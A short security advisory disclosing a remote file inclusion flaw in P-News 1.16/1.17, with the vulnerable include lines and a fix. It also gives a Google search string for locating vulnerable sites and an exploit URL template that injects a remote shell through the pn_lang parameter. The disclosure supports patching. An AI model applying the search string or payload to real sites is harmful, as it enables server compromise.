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P-News 1.16, 1.17 Remote File Inclusion Vulnerability
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Discovered by vegas78 - feel82[at]web.de
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include("$pn_lang/functions.php"); // bad code
include("$pn_lang/language.php"); // bad code
...

fix:
make absolute path declaration or update to the new 2.* version

// Google string
allintitle:"P-news ver. 1.16" / allinurl:p-news.php

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http://site/p-news.php?pn_lang=[shell]

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